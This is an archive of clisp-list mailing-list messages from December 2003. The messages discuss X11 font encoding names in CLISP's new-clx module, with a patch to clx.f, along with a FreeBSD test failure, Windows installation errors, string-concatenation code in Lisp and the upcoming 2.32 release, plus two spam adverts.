The error seems to be coming via XLIB:MAX-CHAR-ASCENT from > clisp/modules/clx/new-clx/clx.f line 1056 to 1081. It looks like it > builds the encoding name from the registry of some X > font. Unfortunately, that registry is "iso8859" while the CHARSET > package exports ISO-8859-1 et al. Yes, unfortunately different standards and softwares use different sets of encoding names. You have to convert. Since here the input is an X11 encoding name and the result should be an encoding name suitable for CLISP :CHARSET, the conversion should go the whole way and also convert insert a dash between "iso" and "8859". Sam wrote: > [6]> (make-encoding :charset "iso8859-1") > # This depends on the underlying iconv() version. In libiconv 1.9.1 the name "iso8859-1" happens to be supported; in earlier versions it is not. > should MAKE-ENCODING automatically convert "iso8859-1" to CHARSET:ISO-885= 9-1? > Should CHARSET contain ISO8859-1 as a synonym for ISO-8859-1? No for both. 1. The list of supported encodings in clisp is documented; if people call MAKE-ENCODING with names not adhering to this documentation, it= 's by lazy code. 2. The strategy of adding aliases leads to addition of all possible names in all possible software APIs. After we've added ISO8859-1 as alias of ISO-8859-1, someone will stand up and claim to need CP65001 as an alias for UTF-8, etc. etc. - it's a never ending hassle. Better is to ke= ep things where they belong, and the handling of X11 encoding names belong in X11 interface code and not in the clisp CHARSET package. Bruno From fommil@yahoo.ie Sat Dec 20 10:32:18 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AXlti-00051V-T4 for clisp-list@lists.sourceforge.net; Sat, 20 Dec 2003 10:32:18 -0800 Received: from smtp001.mail.ukl.yahoo.com ([217.12.11.32]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.24) id 1AXltB-00024q-RY for clisp-list@lists.sourceforge.net; Sat, 20 Dec 2003 10:31:46 -0800 Received: from unknown (HELO hostess.fommil.homeunix.org) (fommil@217.42.154.51 with login) by smtp001.mail.ukl.yahoo.com with SMTP; 20 Dec 2003 18:31:32 -0000 From: Sam Halliday To: clisp-list@lists.sourceforge.net Cc: sds@gnu.org Message-Id: <20031220183710.49c84837@hostess.fommil.homeunix.org> In-Reply-To: References: <20031217152725.75f9403b.fommil@yahoo.ie> <20031217164842.07126a3e.fommil@yahoo.ie> <20031217175514.30e58472.fommil@yahoo.ie> <20031217180229.263473b0.fommil@yahoo.ie> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-freebsd5.2) Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="pgp-sha1"; boundary="Signature=_Sat__20_Dec_2003_18_37_10_+0000_mPIHAwsr_1TCZ.FT" X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: compiling clisp-2.31 on FreeBSD-5.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 20 10:33:00 2003 X-Original-Date: Sat, 20 Dec 2003 18:37:10 +0000 --Signature=_Sat__20_Dec_2003_18_37_10_+0000_mPIHAwsr_1TCZ.FT Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 7bit Sam Steingold wrote: > > * Sam Halliday [2003-12-17 18:02:29 +0000]: > >> sorry... the first patch didnt make a difference at all > >> testing the 2nd one now... > > it doesnt make a difference either, sorry > please clean-up your CLISP installation, > apply the appended patch, and do > > ./configure --with-module=regexp build build-dir > > please tell us what is printed for "LIBS before & after". all seemed to compile fine! but, i still got the failed test: ########################### Form: (LET ((H (MAKE-HASH-TABLE :TEST `(,(LAMBDA (A B) (LIST (LIST '= A B)) (= A B)) . ,(LAMBDA (X) (LET ((Z (SXHASH (COERCE X 'DOUBLE-FLOAT)))) (LIST `((HASH ,X) => ,Z)) Z)))))) (LOOP :FOR I :FROM 0 :TO 1000 :DO (SETF (GETHASH I H) (FORMAT NIL "~r" I))) (LOOP :FOR I :FROM 0 :TO 1000 :UNLESS (STRING= (GETHASH (FLOAT I 1.0d0) H) (GETHASH (FLOAT I 1.0s0) H)) :COLLECT I)) CORRECT: NIL CLISP : (892) ########################### the LIBS you asked for are LIBS: before: regexi.o lisp.a /opt/sam/lib/libintl.so /opt/sam/lib/libiconv.so -Wl,-rpath -Wl,/opt/sam/lib libcharset.a libavcall.a libcallback.a -lreadline -lncurses /opt/sam/lib/libiconv.so -Wl,-rpath -Wl,/opt/sam/lib LIBS: after: regexi.o lisp.a /opt/sam/lib/libintl.so /opt/sam/lib/libiconv.so -Wl\,-rpath -Wl\,/opt/sam/lib libcharset.a libavcall.a libcallback.a -lreadline -lncurses /opt/sam/lib/libiconv.so -Wl\,-rpath -Wl\,/opt/sam/lib i will now see if i can get CVS and check if the test passes. cheers, Sam --Signature=_Sat__20_Dec_2003_18_37_10_+0000_mPIHAwsr_1TCZ.FT Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) iD8DBQE/5JbZh5Q4qVL9G8kRArCYAJ96K1C4L9184mRqUAtCfmhzBXZOhwCfeiTa rt/iAMyKgOnfydLsn6CXmNM= =N9u7 -----END PGP SIGNATURE----- --Signature=_Sat__20_Dec_2003_18_37_10_+0000_mPIHAwsr_1TCZ.FT-- From sds@alphatech.com Sat Dec 20 11:02:56 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AXmNM-0006Cs-SM for clisp-list@lists.sourceforge.net; Sat, 20 Dec 2003 11:02:56 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AXmNM-00019w-FQ for clisp-list@lists.sourceforge.net; Sat, 20 Dec 2003 11:02:56 -0800 Received: from WINSTEINGOLDLAP ([192.168.1.100]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBKJ2cC25817; Sat, 20 Dec 2003 14:02:41 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20031214174759.35884384B7@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Sun, 14 Dec 2003 18:47:59 +0100 (CET)") References: <20031214174759.35884384B7@thalassa.informatimago.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: new-clx builds bad encoding name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 20 11:03:04 2003 X-Original-Date: Sat, 20 Dec 2003 14:02:38 -0500 > * Pascal J.Bourguignon [2003-12-14 18:47:59 +0100]: > > *** - EXT:MAKE-ENCODING: illegal :CHARSET argument "ISO8859-1" > Indeeed, the exported symbol is ISO-8859-1. > > The error seems to be coming via XLIB:MAX-CHAR-ASCENT from > clisp/modules/clx/new-clx/clx.f line 1056 to 1081. It looks like it > builds the encoding name from the registry of some X font. > Unfortunately, that registry is "iso8859" while the CHARSET package > exports ISO-8859-1 et al. please try the appended patch. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Failure is not an option. It comes bundled with your Microsoft product. --- clx.f.~2.10.~ 2003-10-31 10:10:45.612776300 -0500 +++ clx.f 2003-12-20 13:49:02.009396800 -0500 @@ -1065,12 +1065,16 @@ status = XGetAtomNames (dpy, xatoms, 2, names); /* X11R6 */ # endif if (status) { + char* whole = alloca(strlen(names[0])+strlen(names[1])+3); + if (!strncasecmp(names[0],"iso",3) && names[0][3] != '-') { + strcpy(whole,"ISO-"); + strcat(whole,names[0]+3); + } else strcpy(whole,names[0]); + strcat(whole,"-"); + strcat(whole,names[1]); end_x_call(); - pushSTACK(asciz_to_string (names[0], GLO(misc_encoding))); - pushSTACK(`"-"`); - pushSTACK(asciz_to_string (names[1], GLO(misc_encoding))); - value1 = string_concat(3); - pushSTACK(`:CHARSET`); pushSTACK(value1); + pushSTACK(`:CHARSET`); + pushSTACK(asciz_to_string(whole,GLO(misc_encoding))); pushSTACK(`:OUTPUT-ERROR-ACTION`); pushSTACK(fixnum(info->default_char)); funcall(L(make_encoding), 4); @@ -1078,8 +1082,8 @@ pushSTACK(`XLIB::ENCODING`); pushSTACK(value1); funcall (L(set_slot_value), 3); - } begin_x_call(); + } if (names[0]) XFree (names[0]); if (names[1]) From wdtate@comcast.net Sun Dec 21 02:48:42 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AY18c-0004tf-Fh for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 02:48:42 -0800 Received: from sccrmhc11.comcast.net ([204.127.202.55]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AY18c-0004i1-5r for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 02:48:42 -0800 Received: from cabin (h00095b08d6ab.ne.client2.attbi.com[24.62.229.105]) by comcast.net (sccrmhc11) with SMTP id <2003122110483601100ldqs6e>; Sun, 21 Dec 2003 10:48:36 +0000 Reply-To: From: "Bill Tate" To: Message-ID: <000001c3c7af$799d1dd0$69e53e18@cabin> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 HTML_MESSAGE BODY: HTML included in message Subject: [clisp-list] CLisp Installation Error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 21 02:49:01 2003 X-Original-Date: Sun, 21 Dec 2003 05:44:53 -0500 Hi all, Very new to CLisp and I'm having problem getting clisp installed properly. I've googled this but I haven't come across a posting to answer why the following is happening. My setup: win2K I've downloaded clisp-2.31-msvc-win32.zip from sourceforge. My installation folder is: c:\clisp install.bat updated when executing, If I choose Y to associate *.lisp, et.al. with Clisp - I get the following error: *** - FUNCALL: undefined function C1 If I choose not to associate files, I get this error: READ from #: there is no package with name "POSIX" Any suggestions would be greatly appreciated. Thanks in advance Bill From jaquefra2003@yahoo.com Sun Dec 21 06:12:26 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AY4Jm-0004bp-5T for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 06:12:26 -0800 Received: from anna.dreamdns.net ([217.107.219.50]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1AY4Jl-0004h0-Hi for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 06:12:26 -0800 Received: from nobody by anna.dreamdns.net with local (Exim 4.24) id 1AY4Jg-0007cM-Dy; Sun, 21 Dec 2003 17:12:20 +0300 To: clisp-list@lists.sourceforge.net From: jaquefra2003@yahoo.com To: clisp-list@lists.sourceforge.net Message-Id: X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - anna.dreamdns.net X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - yahoo.com X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Cheap Electronics Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 21 06:13:00 2003 X-Original-Date: Sun, 21 Dec 2003 17:12:20 +0300 Leading on-line e-commerce enterprise suggests you kitchen equipment of worldwide known manufacturers Direct shipping from Russia. You are always welcome at our internet site (www.mishop.ru ) to make an order of your need. ON-line store www.mishop.ru administration From jaquefra2003@yahoo.com Sun Dec 21 06:12:30 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AY4Jq-0004bz-Gs for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 06:12:30 -0800 Received: from anna.dreamdns.net ([217.107.219.50]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1AY4Jp-00037M-Rb for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 06:12:30 -0800 Received: from nobody by anna.dreamdns.net with local (Exim 4.24) id 1AY4Jk-0007eT-Ou; Sun, 21 Dec 2003 17:12:24 +0300 To: clisp-list@lists.sourceforge.net From: jaquefra2003@yahoo.com To: clisp-list@lists.sourceforge.net Message-Id: X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - anna.dreamdns.net X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - yahoo.com X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Cheap Electronics Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 21 06:13:00 2003 X-Original-Date: Sun, 21 Dec 2003 17:12:24 +0300 Leading on-line e-commerce enterprise suggests you kitchen equipment of worldwide known manufacturers Direct shipping from Russia. You are always welcome at our internet site (www.mishop.ru ) to make an order of your need. ON-line store www.mishop.ru administration From sds@alphatech.com Sun Dec 21 06:39:58 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AY4kQ-0005Uj-I9 for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 06:39:58 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AY4kQ-00014g-3c for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 06:39:58 -0800 Received: from WINSTEINGOLDLAP ([192.168.1.100]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBLEdnw17657; Sun, 21 Dec 2003 09:39:50 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <000001c3c7af$799d1dd0$69e53e18@cabin> (Bill Tate's message of "Sun, 21 Dec 2003 05:44:53 -0500") References: <000001c3c7af$799d1dd0$69e53e18@cabin> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLisp Installation Error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 21 06:40:01 2003 X-Original-Date: Sun, 21 Dec 2003 09:39:48 -0500 > * Bill Tate [2003-12-21 05:44:53 -0500]: > > I've downloaded clisp-2.31-msvc-win32.zip from sourceforge. msvc build does not include modules. "clisp-2.31-win32.zip", built with mingw, does. don't worry, you still have all the ANSI CL, sockets, &c &c. > *** - FUNCALL: undefined function C1 yep, your clisp does not have registry access. > READ from # #P"C:\\clisp\\src\\install.lisp" @98>: there is no package with name > "POSIX" yep, your clisp cannot create shortcuts. > Any suggestions would be greatly appreciated. Thanks in advance First of all, this "install.bat" is just sugar. you don't really need it to run clisp. just read README. Basically, put clisp.bat in your patch and put there c:\clisp\lisp.exe -B c:\clisp -M c:\clisp\lispinit.mem and you are good to go. PS. I know it goes counter to the woe32 culture, but you _can_ compile CLISP yourself :-) -- Sam Steingold (http://www.podval.org/~sds) running w2k Abandon all hope, all ye who press Enter. From hin@van-halen.alma.com Sun Dec 21 11:25:38 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AY9Cs-0007S8-BY for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 11:25:38 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AY9Cr-0002Kk-QN for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 11:25:37 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 7251D10DE2E; Sun, 21 Dec 2003 14:25:35 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id hBLJPZ8M018534; Sun, 21 Dec 2003 14:25:35 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id hBLJPWZe018531; Sun, 21 Dec 2003 14:25:32 -0500 Message-Id: <200312211925.hBLJPWZe018531@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org Cc: dan.stanger@ieee.org, clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 03 Oct 2003 11:19:34 -0400) Subject: Re: [clisp-list] Re: Lisp question X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 21 11:26:04 2003 X-Original-Date: Sun, 21 Dec 2003 14:25:32 -0500 >> * Dan Stanger [2003-10-03 10:42:17 -0400]: >> >> What is the best way to convert a list of strings to a single string? >> For example ("abc" "def" "ghi") should convert to "abcdefghi" > 2. in general, the standard way is the same as adding lists of numbers &c: > (reduce (lambda (s1 s2) (concatenate 'string s1 s2)) > list-of-strings :initial-value "") > (CLISP-specific ext:string-concat is again faster: > (reduce #'ext:string-concat list-of-strings) I do a lot of string concatenation, generating a large string of HTML page, built from lots of small strings retrieved from a database, so I wrote a replacement for EXT:STRING-CONCAT that speeds things up a lot for my appl. It works by working with a growable string array and pre-allocating space as it gets bigger. It seems to speed things about at least twice as much for me. Your mileage may vary of course. Code is below. It should work as a drop-in replacement for STRING-CONCAT. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 ; ------- Cut here ------- ; MY-STRING-CONCAT -- Concatenate together string arguments into a ; single string (defun my-string-concat (&rest args) (labels ((append-adjustable (astr s) (let ((alen (length astr)) (slen (length s))) (if (= 0 slen) astr (let ((newlen (+ alen slen))) (when (<= (array-dimension astr 0) newlen) ; Reduce growth factor if tight on space (adjust-array astr (* 2 newlen))) ; Append chars onto result (setf (fill-pointer astr) newlen) (replace astr s :start1 alen :end1 newlen))))) (aconcat (astr args) (cond ((atom args) (append-adjustable astr args)) (t (dolist (s args) (aconcat astr s)) astr)))) (aconcat (make-array ; Minimum string size to allocate for result 100 :element-type 'character :fill-pointer 0 :adjustable t) args))) ; ------- Cut here ------- ; Test case (setf l nil) (dotimes (i 2000) (push "xxxxxxxxxx" l)) (print "Starting concat using EXT:STRING-CONCAT") (reduce #'ext:string-concat l) (print "Done") (print "Starting concat using MY-STRING-CONCAT") (reduce #'my-string-concat l) (print "Done") ; ------- Cut here ------- From sds@alphatech.com Sun Dec 21 11:55:55 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AY9gB-0000IS-7P for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 11:55:55 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AY9gA-0005GC-Ql for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 11:55:54 -0800 Received: from WINSTEINGOLDLAP ([192.168.1.100]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBLJte719618; Sun, 21 Dec 2003 14:55:41 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200312211925.hBLJPWZe018531@van-halen.alma.com> (John K. Hinsdale's message of "Sun, 21 Dec 2003 14:25:32 -0500") References: <200312211925.hBLJPWZe018531@van-halen.alma.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Lisp question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 21 11:56:02 2003 X-Original-Date: Sun, 21 Dec 2003 14:55:40 -0500 > * John K. Hinsdale [2003-12-21 14:25:32 -0500]: > > I do a lot of string concatenation, generating a large string of HTML > page, built from lots of small strings retrieved from a database, so I > wrote a replacement for EXT:STRING-CONCAT that speeds things up a lot > for my appl. It works by working with a growable string array and > pre-allocating space as it gets bigger. the return value is not a simple string. if you are doing (reduce foo), why not get rid of reduce? (defun concat-strings (strings) (let ((ret (make-array (reduce #'+ strings :key #'length) :element-type 'character)) (start 0)) (dolist (string strings ret) (replace ret string :start1 start) (incf start (length string))))) this is pretty much the same as (apply #'string-concat strings). -- Sam Steingold (http://www.podval.org/~sds) running w2k Diplomacy is the art of saying "nice doggy" until you can find a rock. From sds@alphatech.com Sun Dec 21 13:24:10 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYB3a-00037G-0M for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 13:24:10 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AYB3Z-0005p3-ER for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 13:24:09 -0800 Received: from WINSTEINGOLDLAP ([192.168.1.100]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBLLNx708667 for ; Sun, 21 Dec 2003 16:24:00 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] 2.32 looms! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 21 13:25:00 2003 X-Original-Date: Sun, 21 Dec 2003 16:23:59 -0500 Please get CVS HEAD and test it. To get you salivating, here is the (incomplete) NEWS: User visible changes -------------------- * WRITE-BYTE-SEQUENCE now accepts :NO-HANG keyword argument. Thanks to Don Cohen . * Support files larger than 2 GB or 4 GB on platforms with LFS (Large File Support). * New module berkeley-db interfaces to and allows working the Berkeley DB databases. See for details. * New module pcre interfaces to and makes Perl Compatible Regular Expressions available in CLISP. See for details. * Module syscalls now exports function POSIX:STAT-VFS. See for details. * When the system C library provides a wildcard (fnmatch) implementation, it is used instead of the GNU wildcard distributed with CLISP when the CLISP wildcard module is built. * Prompt is now fully customizable by the user. CUSTOM:*PROMPT* is replaced with 5 variables. See for details. * Readline is now used properly on Cygwin/X11. * Command line interface: the initial verbosity level is controlled by the pair of mutually cancelling options -q/-v. See for details. -- Sam Steingold (http://www.podval.org/~sds) running w2k Your mouse has moved - WinNT has to be restarted for this to take effect. From hin@van-halen.alma.com Sun Dec 21 16:23:14 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYDqs-0001JL-1q for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 16:23:14 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AYDqr-0001XB-Qk for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 16:23:13 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id B6A6110DE2F for ; Sun, 21 Dec 2003 19:23:11 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id hBM0NB8M021073 for ; Sun, 21 Dec 2003 19:23:11 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id hBM0NBdG021070; Sun, 21 Dec 2003 19:23:11 -0500 Message-Id: <200312220023.hBM0NBdG021070@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Sun, 21 Dec 2003 14:55:40 -0500) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Lisp question Sender: 